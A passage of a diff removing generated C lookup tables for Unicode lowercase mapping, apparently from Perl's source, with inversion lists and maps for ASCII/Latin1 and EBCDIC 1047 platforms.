0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77E, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AB, - 0xA7AC, - 0xA7AD, - 0xA7AE, - 0xA7AF, - 0xA7B0, - 0xA7B1, - 0xA7B2, - 0xA7B3, - 0xA7B4, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - LC_0 = 0, - LC_use_AUX_TABLE_1 = -1 -} LC_enum; - -#define HAS_LC_AUX_TABLES - -static const unsigned int LC_AUX_TABLE_1[] = { - 0x69, - 0x307 -}; - -static const unsigned int * const LC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - LC_AUX_TABLE_1 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 LC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* LC_AUX_TABLE_1 */ -}; - -static const int Lowercase_Mapping_invmap[] = { /* for ASCII/Latin1 */ - 0, - 0x61, - 0, - 0xE0, - 0, - 0xF8, - 0, - 0x101, - 0, - 0x103, - 0, - 0x105, - 0, - 0x107, - 0, - 0x109, - 0, - 0x10B, - 0, - 0x10D, - 0, - 0x10F, - 0, - 0x111, - 0, - 0x113, - 0, - 0x115, - 0, - 0x117, - 0, - 0x119, - 0, - 0x11B, - 0, - 0x11D, - 0, - 0x11F, - 0, - 0x121, - 0, - 0x123, - 0, - 0x125, - 0, - 0x127, - 0, - 0x129, - 0, - 0x12B, - 0, - 0x12D, - 0, - 0x12F, - 0, - LC_use_AUX_TABLE_1, - 0, - 0x133, - 0, - 0x135, - 0, - 0x137, - 0, - 0x13A, - 0, - 0x13C, - 0, - 0x13E, - 0, - 0x140, - 0, - 0x142, - 0, - 0x144, - 0, - 0x146, - 0, - 0x148, - 0, - 0x14B, - 0, - 0x14D, - 0, - 0x14F, - 0, - 0x151, - 0, - 0x153, - 0, - 0x155, - 0, - 0x157, - 0, - 0x159, - 0, - 0x15B, - 0, - 0x15D, - 0, - 0x15F, - 0, - 0x161, - 0, - 0x163, - 0, - 0x165, - 0, - 0x167, - 0, - 0x169, - 0, - 0x16B, - 0, - 0x16D, - 0, - 0x16F, - 0, - 0x171, - 0, - 0x173, - 0, - 0x175, - 0, - 0x177, - 0, - 0xFF, - 0x17A, - 0, - 0x17C, - 0, - 0x17E, - 0, - 0x253, - 0x183, - 0, - 0x185, - 0, - 0x254, - 0x188, - 0, - 0x256, - 0x18C, - 0, - 0x1DD, - 0x259, - 0x25B, - 0x192, - 0, - 0x260, - 0x263, - 0, - 0x269, - 0x268, - 0x199, - 0, - 0x26F, - 0x272, - 0, - 0x275, - 0x1A1, - 0, - 0x1A3, - 0, - 0x1A5, - 0, - 0x280, - 0x1A8, - 0, - 0x283, - 0, - 0x1AD, - 0, - 0x288, - 0x1B0, - 0, - 0x28A, - 0x1B4, - 0, - 0x1B6, - 0, - 0x292, - 0x1B9, - 0, - 0x1BD, - 0, - 0x1C6, - 0x1C6, - 0, - 0x1C9, - 0x1C9, - 0, - 0x1CC, - 0x1CC, - 0, - 0x1CE, - 0, - 0x1D0, - 0, - 0x1D2, - 0, - 0x1D4, - 0, - 0x1D6, - 0, - 0x1D8, - 0, - 0x1DA, - 0, - 0x1DC, - 0, - 0x1DF, - 0, - 0x1E1, - 0, - 0x1E3, - 0, - 0x1E5, - 0, - 0x1E7, - 0, - 0x1E9, - 0, - 0x1EB, - 0, - 0x1ED, - 0, - 0x1EF, - 0, - 0x1F3, - 0x1F3, - 0, - 0x1F5, - 0, - 0x195, - 0x1BF, - 0x1F9, - 0, - 0x1FB, - 0, - 0x1FD, - 0, - 0x1FF, - 0, - 0x201, - 0, - 0x203, - 0, - 0x205, - 0, - 0x207, - 0, - 0x209, - 0, - 0x20B, - 0, - 0x20D, - 0, - 0x20F, - 0, - 0x211, - 0, - 0x213, - 0, - 0x215, - 0, - 0x217, - 0, - 0x219, - 0, - 0x21B, - 0, - 0x21D, - 0, - 0x21F, - 0, - 0x19E, - 0, - 0x223, - 0, - 0x225, - 0, - 0x227, - 0, - 0x229, - 0, - 0x22B, - 0, - 0x22D, - 0, - 0x22F, - 0, - 0x231, - 0, - 0x233, - 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - 0, - 0x3B1, - 0, - 0x3C3, - 0, - 0x3D7, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3B8, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0xAB70, - 0x13F8, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - 0xDF, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - 0x1F80, - 0, - 0x1F90, - 0, - 0x1FA0, - 0, - 0x1FB0, - 0x1F70, - 0x1FB3, - 0, - 0x1F72, - 0x1FC3, - 0, - 0x1FD0, - 0x1F76, - 0, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - 0x1F78, - 0x1F7C, - 0x1FF3, - 0, - 0x3C9, - 0, - 0x6B, - 0xE5, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Lowercase_Mapping_invlist[] = { /* for EBCDIC 1047 */ - 1255, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 